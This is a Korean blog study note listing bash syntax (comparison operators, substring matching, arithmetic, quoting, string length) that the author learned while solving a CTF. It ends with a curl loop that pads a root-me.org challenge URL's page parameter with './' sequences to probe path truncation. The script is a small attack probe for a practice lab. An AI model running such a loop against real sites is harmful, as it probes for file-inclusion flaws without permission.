BASH] Usage

노션으로 옮김·2020년 3월 20일
1

Study

목록 보기
8/33
post-thumbnail

개요

CTF 문제를 푸는데, 파이썬보다 쉘 스크립트로 작성하는 것이 더 효율적이라고 판단되어 관련 내용을 찾아보게 되었다.

필요에 의해 사용한 문법만 정리하겠다.


문법

comparison operator

https://stackoverflow.com/questions/18668556/comparing-numbers-in-bash
-eq # equal
-ne # not equal
-lt # less than
-le # less than or equal
-gt # greater than
-ge # greater than or equal

check contains a substring

https://stackoverflow.com/questions/229551/how-to-check-if-a-string-contains-a-substring-in-bash

string='My string';

if [[ $string =~ "My" ]]
then
   echo "It's there!"
fi

calculate variables

#1 expr

expr $x / $y

#2 many ways

https://unix.stackexchange.com/questions/149823/parenthesis-in-expr-arithmetic-3-2-1

a=$(( 3 * (2 + 1) ))
a=$((3*(2+1)))

precaution

문자열에 공백이나 기타 쉘이 오해(?)할 수 있는 문자가 포함됬을 경우 큰 따옴표로 묶어줘야 정상적으로 문자열로 인식

strangers="hahaha sadfiem <html> asdekd...omit...shahaha!!!" echo $strangers #unintended behavior

echo "$strangers" #correct!!

get the length of string

https://stackoverflow.com/questions/17368067/length-of-string-in-bash

#!/bin/bash

str="Good morning"
length=${#str}
echo "Length of '$str' is $length"

precaution

변수에 저장할 때 $( expr )를 사용하지 않고 바로 변수에 저장해야 함
그렇지 않을 경우, 그 값이 쉘 명령어로 실행됨

url="http://challenge01.root-me.org/web-serveur/ch35/index.php?page="
len_url=${#url}
echo "len:"$len_url

예제

curl #1

curl로 request할 url을 생성한다.
response에 원하는 문자열이 없을 경우
'./'문자열을 1개씩 추가하여 다시 request 전송

#!/bin/bash
i=0
url="http://challenge01.root-me.org/web-serveur/ch35/index.php?page="
len_url=${#url}
end=$((( ( 4096 - len_url ) / 2 ) + 1))
while [ $i -lt $end ]
do
	padding=$( printf "./%.0s" {$(seq $i)} )
	payload="$url""$padding""home"
	echo $payload

	res=$( curl $payload )
	if [[ ! "$res" =~ "Work" ]]; then #Work가 존재하지 않으면
		echo "Found index!\n"
		echo "Found index!\n"
		echo "Found index!\n"
		echo "index:"$i > results.txt
		read
	fi
	i=$(($i+1))

done

주요 문법

padding=$( printf "./%.0s" {$(seq $i)} )

'./'문자열을 printf 함수를 이용해 $i만큼 concate

if [[ ! "$res" =~ "Work" ]]; then

=~ 우측의 문자열을 검색
! reverse

0개의 댓글